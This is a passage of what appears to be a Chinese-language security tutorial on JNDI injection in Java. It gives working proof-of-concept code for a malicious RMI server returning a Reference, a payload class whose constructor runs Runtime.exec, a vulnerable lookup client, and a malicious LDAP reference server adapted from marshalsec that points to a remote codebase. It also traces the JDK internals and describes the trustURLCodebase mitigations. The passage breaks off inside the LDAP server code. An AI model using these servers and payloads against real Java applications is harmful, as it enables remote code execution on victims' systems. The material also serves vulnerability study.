JNDI
JNDI(全称Java Naming and Directory Interface
)是用于目录服务的Java API,它允许Java客户端通过名称发现和查找数据和资源(以Java对象的形式)。与与主机系统接口的所有Java api一样,JNDI独立于底层实现。此外,它指定了一个服务提供者接口(SPI),该接口允许将目录服务实现插入到框架中。通过JNDI查询的信息可能由服务器、文件或数据库提供,选择取决于所使用的实现。
JNDI注入
JNDI
注入简单来说就是在JNDI
接口在初始化时,如:InitialContext.lookup(URI)
,如果URI可控,那么客户端就可能会被攻击
RMI
通过RMI进行JNDI注入,攻击者构造的恶意RMI服务器向客户端返回一个Reference
对象,Reference
对象中指定从远程加载构造的恶意Factory
类,客户端在进行lookup
的时候,会从远程动态加载攻击者构造的恶意Factory
类并实例化,攻击者可以在构造方法或者是静态代码等地方加入恶意代码。
javax.naming.Reference
构造方法为:Reference(String className, String factory, String factoryLocation)
,
className
- 远程加载时所使用的类名classFactory
- 加载的class
中需要实例化类的名称classFactoryLocation
- 提供classes
数据的地址可以是file/ftp/http
等协议
因为Reference
没有实现Remote
接口也没有继承UnicastRemoteObject
类,故不能作为远程对象bind到注册中心,所以需要使用ReferenceWrapper
对Reference
的实例进行一个封装。
服务端代码如下:
package demo;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception{
Registry registry= LocateRegistry.createRegistry(7777);
Reference reference = new Reference("test", "test", "http://localhost/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("calc", wrapper);
}
}
恶意代码(test.class
),将其编译好放到可访问的http
服务器
import java.lang.Runtime;
public class test{
public test() throws Exception{
Runtime.getRuntime().exec("calc");
}
}
当客户端通过InitialContext().lookup("rmi://127.0.0.1:7777/calc")
获取远程对象时,会执行我们的恶意代码
package demo;
import javax.naming.InitialContext;
public class JNDI_Test {
public static void main(String[] args) throws Exception{
new InitialContext().lookup("rmi://127.0.0.1:7777/calc");
}
}
其调用栈如下:
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:456, RegistryContext (com.sun.jndi.rmi.registry)
lookup:120, RegistryContext (com.sun.jndi.rmi.registry)
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:411, InitialContext (javax.naming)
main:7, JNDI_Test (demo)
前面的那几步是获取上下文信息的这里不过多展开,主要讲关键那几步。跟进com.sun.jndi.rmi.registry.RegistryContext#decodeObject
,这里是将从服务端返回的ReferenceWrapper_Stub
获取Reference
对象。
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}
跟进javax.naming.spi.NamingManager#getObjectInstance
,此处为获取Factory
类的实例。
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{
ObjectFactory factory;
//省略部分代码
Object answer;
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;
} else {
// if reference has no factory, check for addresses
// containing URLs
answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}
// try using any specified factories
answer =
createObjectFromFactories(refInfo, name, nameCtx, environment);
return (answer != null) ? answer : refInfo;
}
跟进javax.naming.spi.NamingManager#getObjectFactoryFromReference
,此处clas = helper.loadClass(factoryName);
尝试从本地加载Factory
类,如果不存在本地不存在此类,则会从codebase
中加载:clas = helper.loadClass(factoryName, codebase);
会从远程加载我们恶意class,然后在return
那里return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
对我们的恶意类进行一个实例化,进而加载我们的恶意代码。
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class clas = null;
// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.
// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
com.sun.naming.internal.VersionHelper12#loadClass
具体代码如下,可以看到他是通过URLClassLoader
从远程动态加载我们的恶意类。
public Class loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);
return loadClass(className, cl);
}
对于这种利用方式Java在其JDK 6u132、7u122、8u113
中进行了限制,com.sun.jndi.rmi.object.trustURLCodebase
默认值变为false
static {
PrivilegedAction var0 = () -> {
return System.getProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false");
};
String var1 = (String)AccessController.doPrivileged(var0);
trustURLCodebase = "true".equalsIgnoreCase(var1);
}
如果从远程加载则会抛出异常
if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
}
Exception in thread "main" javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495)
at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at demo.JNDI_Test.main(JNDI_Test.java:7)
LDAP
LDAP
,全称Lightweight Directory Access Protocol
,即轻量级目录访问协议,和Windows域中的LDAP
概念差不多,这里就不进行过多展开了。
JDK < 8u191
我们在上面讲了在JDK 6u132
, JDK 7u122
, JDK 8u113
中Java限制了通过RMI
远程加载Reference
工厂类,com.sun.jndi.rmi.object.trustURLCodebase
、com.sun.jndi.cosnaming.object.trustURLCodebase
的默认值变为了false
,即默认不允许通过RMI从远程的Codebase
加载Reference
工厂类。
但是需要注意的是JNDI不仅可以从通过RMI加载远程的Reference工厂类,也可以通过LDAP协议加载远程的Reference工厂类,但是在之后的版本Java也对LDAP Reference远程加载Factory
类进行了限制,在JDK 11.0.1
、8u191
、7u201
、6u211
之后 com.sun.jndi.ldap.object.trustURLCodebase
属性的值默认为false
,对应的CVE编号为:CVE-2018-3149
起一个LDAP服务,代码改自marshalsec
package demo;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class LDAPRefServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://192.168.43.88/#test"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {